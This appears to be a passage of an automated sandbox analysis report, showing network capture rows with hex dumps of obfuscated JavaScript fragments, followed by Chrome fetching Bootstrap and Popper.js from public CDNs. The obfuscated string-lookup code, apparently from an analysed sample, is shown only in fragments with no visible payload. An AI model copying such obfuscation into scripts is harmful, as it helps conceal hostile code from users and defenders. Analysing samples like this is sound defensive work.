+_0x37e3cd(0x2261)+_0x37e3cd(0x2923)+_0x37e3cd(0x1f71)+_0x37e3cd(0x1ba9)+_0x37e3cd(0xb04)+_0x37e3cd(0x8c9)+_0x37e3cd(0x28be)+_0x37e3cd(0x149c)+_0x37e3cd(0xcda)+_0x37e3cd(0x267d)+_0x37e3cd(0xf33)+_0x37e3cd(0xd1e)+_0x37e3cd(0x2686)+_0x37e3cd(0x1da7)+_0x37e3
2024-10-01 10:21:04 UTC	16384	IN	Data Raw: 33 37 65 33 63 64 28 30 78 32 39 38 37 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 66 33 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 33 62 39 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 63 33 37 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 39 62 62 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 36 32 61 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 66 35 65 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 33 34 63 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 34 35 34 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 66 38 31 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 30 32 35 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 61 36 31 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 63 63 64 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 61 61 31 29 2b 5f 30 78 33 37 65 33 63 64 28 30 Data Ascii: 37e3cd(0x2987)+_0x37e3cd(0x1f3)+_0x37e3cd(0x23b9)+_0x37e3cd(0xc37)+_0x37e3cd(0x9bb)+_0x37e3cd(0x262a)+_0x37e3cd(0xf5e)+_0x37e3cd(0x234c)+_0x37e3cd(0x1454)+_0x37e3cd(0x1f81)+_0x37e3cd(0x2025)+_0x37e3cd(0x1a61)+_0x37e3cd(0xccd)+_0x37e3cd(0x2aa1)+_0x37e3cd(0
2024-10-01 10:21:04 UTC	8168	IN	Data Raw: 33 37 65 33 63 64 28 30 78 32 33 37 37 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 39 33 37 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 32 37 37 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 64 38 62 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 34 35 66 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 64 61 65 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 64 32 38 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 31 32 61 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 66 31 39 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 66 38 31 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 37 33 30 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 33 34 63 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 33 31 35 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 34 36 33 29 2b 5f 30 78 33 37 65 33 63 Data Ascii: 37e3cd(0x2377)+_0x37e3cd(0x937)+_0x37e3cd(0x1277)+_0x37e3cd(0x1d8b)+_0x37e3cd(0x245f)+_0x37e3cd(0x1dae)+_0x37e3cd(0x1d28)+_0x37e3cd(0x212a)+_0x37e3cd(0xf19)+_0x37e3cd(0x1f81)+_0x37e3cd(0x2730)+_0x37e3cd(0x234c)+_0x37e3cd(0x1315)+_0x37e3cd(0x1463)+_0x37e3c
2024-10-01 10:21:04 UTC	8184	IN	Data Raw: 33 63 64 28 30 78 37 36 64 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 39 31 63 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 64 34 38 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 64 62 61 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 66 35 31 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 37 62 34 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 32 62 33 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 39 32 39 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 39 65 35 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 39 62 32 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 33 64 64 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 38 37 30 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 32 64 64 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 33 62 36 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 39 Data Ascii: 3cd(0x76d)+_0x37e3cd(0x191c)+_0x37e3cd(0xd48)+_0x37e3cd(0xdba)+_0x37e3cd(0xf51)+_0x37e3cd(0x17b4)+_0x37e3cd(0x12b3)+_0x37e3cd(0x1929)+_0x37e3cd(0x29e5)+_0x37e3cd(0x19b2)+_0x37e3cd(0x13dd)+_0x37e3cd(0x2870)+_0x37e3cd(0x12dd)+_0x37e3cd(0x3b6)+_0x37e3cd(0x19
2024-10-01 10:21:04 UTC	8184	IN	Data Raw: 31 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 64 63 37 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 36 61 30 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 66 34 39 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 61 36 64 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 37 32 61 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 62 61 38 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 39 66 36 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 34 61 30 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 31 37 31 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 30 34 32 29 29 2b 28 5f 30 78 33 37 65 33 63 64 28 30 78 32 32 61 32 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 39 33 33 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 36 61 30 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 62 38 30 29 2b 5f 30 Data Ascii: 1)+_0x37e3cd(0x2dc7)+_0x37e3cd(0x26a0)+_0x37e3cd(0x1f49)+_0x37e3cd(0xa6d)+_0x37e3cd(0x72a)+_0x37e3cd(0xba8)+_0x37e3cd(0x19f6)+_0x37e3cd(0x24a0)+_0x37e3cd(0x1171)+_0x37e3cd(0x2042))+(_0x37e3cd(0x22a2)+_0x37e3cd(0x1933)+_0x37e3cd(0x26a0)+_0x37e3cd(0xb80)+_0
2024-10-01 10:21:04 UTC	8184	IN	Data Raw: 30 78 64 34 31 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 30 61 63 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 63 61 34 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 62 39 66 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 34 65 66 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 65 34 33 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 33 61 62 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 34 33 62 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 62 64 34 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 65 34 33 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 33 61 62 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 61 38 63 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 32 36 35 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 35 33 33 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 37 36 35 29 2b 5f 30 Data Ascii: 0xd41)+_0x37e3cd(0x10ac)+_0x37e3cd(0x2ca4)+_0x37e3cd(0x1b9f)+_0x37e3cd(0x14ef)+_0x37e3cd(0xe43)+_0x37e3cd(0x3ab)+_0x37e3cd(0x43b)+_0x37e3cd(0xbd4)+_0x37e3cd(0xe43)+_0x37e3cd(0x3ab)+_0x37e3cd(0x1a8c)+_0x37e3cd(0x2265)+_0x37e3cd(0x1533)+_0x37e3cd(0x1765)+_0
2024-10-01 10:21:04 UTC	8184	IN	Data Raw: 63 64 28 30 78 32 61 38 36 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 62 39 63 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 30 35 31 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 34 61 62 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 62 39 34 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 63 64 62 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 66 66 61 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 33 37 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 32 64 30 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 64 36 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 32 36 36 39 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 66 39 39 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 61 61 34 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 31 66 65 29 2b 5f 30 78 33 37 65 33 63 64 28 30 78 36 38 66 29 Data Ascii: cd(0x2a86)+_0x37e3cd(0x1b9c)+_0x37e3cd(0x1051)+_0x37e3cd(0x14ab)+_0x37e3cd(0x1b94)+_0x37e3cd(0xcdb)+_0x37e3cd(0xffa)+_0x37e3cd(0x237)+_0x37e3cd(0x22d0)+_0x37e3cd(0x2d6)+_0x37e3cd(0x2669)+_0x37e3cd(0xf99)+_0x37e3cd(0x1aa4)+_0x37e3cd(0x1fe)+_0x37e3cd(0x68f)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49724	104.18.11.207	443	4952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:03 UTC	382	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 10:21:03 UTC	917	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 10:21:03 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 01/15/2024 23:55:45 CDN-EdgeStorageId: 845 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 1b67fa50f8ffc843a15d702643eb706f CDN-Cache: HIT CF-Cache-Status: HIT Age: 17434083 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8cbbb941d940238e-EWR
2024-10-01 10:21:03 UTC	452	IN	Data Raw: 37 63 30 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7c0c/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-10-01 10:21:03 UTC	1369	IN	Data Raw: 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 28 74 2c 65 2c 6e 29 7b 72 65 74 75 72 6e 20 65 26 Data Ascii: trap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&
2024-10-01 10:21:03 UTC	1369	IN	Data Raw: 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d 65 6e 74 28 6f 29 3f 22 65 6c 65 6d 65 6e 74 22 3a 28 6c 3d 6f 2c 7b 7d 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 6c 29 2e 6d 61 74 63 68 Data Ascii: onEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElement(o)?"element":(l=o,{}.toString.call(l).match
2024-10-01 10:21:03 UTC	1369	IN	Data Raw: 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 29 7d 2c 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 6f 28 74 Data Ascii: removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destroyElement(t)},e._destroyElement=function(t){o(t
2024-10-01 10:21:03 UTC	1369	IN	Data Raw: 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 70 72 65 73 73 65 64 22 2c 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 Data Ascii: abled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria-pressed",!p(this._element).ha
2024-10-01 10:21:03 UTC	1369	IN	Data Raw: 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 79 3d 7b 41 43 54 49 56 45 3a 22 2e 61 63 74 69 76 65 22 2c 41 43 54 49 56 45 5f 49 54 45 4d 3a 22 2e 61 63 74 69 76 65 2e 63 Data Ascii: "touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-prev",y={ACTIVE:".active",ACTIVE_ITEM:".active.c
2024-10-01 10:21:03 UTC	1369	IN	Data Raw: 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 2e 41 43 54 49 56 45 5f 49 54 45 4d 29 5b 30 5d 3b 76 61 72 20 69 3d 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 68 69 73 2e Data Ascii: his._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y.ACTIVE_ITEM)[0];var i=this._getItemIndex(this.
2024-10-01 10:21:03 UTC	1369	IN	Data Raw: 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 74 3d 3d 3d 68 2c Data Ascii: (t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C._getItemByDirection=function(t,e){var n=t===h,
2024-10-01 10:21:03 UTC	1369	IN	Data Raw: 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 67 2b 22 20 22 2b 73 2b 22 20 22 2b 69 29 2c 6f 2e 5f 69 73 53 6c 69 64 69 6e 67 3d 21 31 2c 73 65 74 54 69 6d 65 6f 75 Data Ascii: });P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).removeClass(g+" "+s+" "+i),o._isSliding=!1,setTimeou
2024-10-01 10:21:03 UTC	1369	IN	Data Raw: 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 6e 3d 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 2c 69 3d 22 2e 22 2b 6e 2c 6f 3d 74 2e 66 6e 5b 65 5d 2c 61 3d 7b 74 6f 67 67 6c 65 3a 21 30 Data Ascii: ){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse",n="bs.collapse",i="."+n,o=t.fn[e],a={toggle:!0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49725	104.17.24.14	443	4952	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 10:21:03 UTC	388	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 10:21:03 UTC	934	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 10:21:03 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 3052 Expires: Sun, 21 Sep 2025 10:21:03 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f56c8%2B0BCqMsS3KYbElpduiPThuHw7BkuL1RAyc2GUDaj%2FQW46nlfp9ezOqt3vF%2FY1HxommL%2F6%2Bp4%2B1uI7zoWGMRsFA%2B24GumxHZH43qzZYk9d6hq9YWCNY3OHbzjlvERFdWsW1M"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8cbbb9421ebc435d-EWR
2024-10-01 10:21:03 UTC	435	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 